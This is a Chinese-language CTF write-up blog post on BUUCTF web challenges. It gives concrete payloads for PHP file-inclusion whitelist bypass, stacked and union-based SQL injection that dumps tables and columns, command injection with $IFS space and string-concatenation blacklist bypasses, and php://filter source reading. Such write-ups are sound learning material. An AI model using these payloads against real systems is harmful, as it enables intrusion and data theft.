BUUCTF-web学习分享

目录

WarmUp1


WarmUp1

打开是个滑稽笑脸查看源码发现source.php文件

访问source.php得到以下源码

 <?php
    highlight_file(__FILE__);
    class emmm
    {             //定义了一个checkFile函数
        public static function checkFile(&$page)
        {            //定义白名单及source.php和hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {   //判断page是否声明及是否为字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {    //判断page是否在白名单里
                return true;
            }

            $_page = mb_substr(      //截取字符串从第一个问好号开始
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
            
    if (! empty($_REQUEST['file'])   //判断file值不为空
        && is_string($_REQUEST['file'])   //file是否为字符串
        && emmm::checkFile($_REQUEST['file'])    //并且checkFile函数返回为真
    ) {
        include $_REQUEST['file'];  //解析文件路径返回文件内容到页面当中
        exit;
    } else {    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

知识点:

1.is_string() 

is_string() 函数用于检测变量是否是字符串。

 2.php中的::

::是调用类中的静态方法或者常量,属性的符号

3.mb_substr()

函数返回字符串的一部分

4.mb_strpos():

返回要查找的字符串在别一个字符串中首次出现的位置

5.&&

&& 如果两个操作数都非零,则条件为真;

访问hint.php,看到了ffffllllaaaagggg文件

由此得知找当对应的路径就可以得到flag,我们使用../../一层一层的网上找即可

EasySQL1

发现无论输入什么数子都回显1,联想到堆叠注入

1;show databases;查看数据库

1;  show tables;发现flag表

 但是怎么也查看不了   好像from和select被过滤了  也是借鉴了大佬的博客 讲的很清楚  链接

 1;set sql_mode=PIPES_AS_CONCAT;select 1 相当于是将select 1 和 select flag from Flag 的结果拼接在一起,也就是 select 1;的结果拼接select flag from Flag的结果

 Ping Ping Ping

根据题目提示直接输入本地ip发现有会显

 使用连接符进行查看根目录 ;&& ||

使用空格绕过查看index.php 看一下过滤规则

$IFS              

$IFS$6                               ——后面的数字6换成其他数字也行

${IFS}

<

<>

{cat,flag.php}                      ——这里把,替换成了空格键

%20                                     ——代表space键

%09                                     ——代表Tab

 

过滤了好多字符   这里可以使用拼接绕过 

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

使用查询语句对库进行查询  1' union select 1,2,databases()#   但是发现对一些关键字进行了过滤

 可以是用堆叠注入,sql语言在被执行的时候是以封号的结束的,但是一行可以执行多个语句

列:select 1;

       select 2;   等于    select 1; select 2; select 3;

       select 3;

 使用 1‘;show databases;#查看数据库

使用 1’;show tables;# 查看表名

 在使用 1'; show columns from`1919810931114514`;#   这里注意表名要加反引号

 看到flag字段 使用

Secret File1

打开题目  右键全选发现有一个隐藏的超链接  在源码中也可以看到

啥也没有看到  就查阅结束了可以隐藏在数据包里面了 抓包查看一下

可以看到数据包响应的时候有个secr3t.php  访问一下

访问得到了php源码   发现对读取的方式进行了过滤 

 这里用到php的读取伪协议

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

php://filter/resource=<待过滤的数据流>(就是文件的路径)

php://filter/read=<读链需要应用的过滤器列表>(就是具体的操作)

?file=php://filter/convert.base64-encode/resource=flag.php 就是将flag.php文件以base64的形式输出

用?file=php://filter/read=convert.base64-encode/resource=flag.php

使用伪协议?file=php://filter/read=convert.base64-encode/resource=flag.php   读取flag文件并进行base64编码  查看源码得到base64

 在burp里面解码一下flag就出来了

LoveSQL1

输入1'  发现报错 判断为字符型注入

在使用万能密码 1' or 1=1# 知道了账号名

这个密码是md5加密把 但是没啥用 解密也解不出来

使用 1' order by 1#来测试字段数  发现到4的时候报错了  得知只有三个字段

查询数据库和版本: 1' union select 1,database(),version()#

爆表名:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆出字段值

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值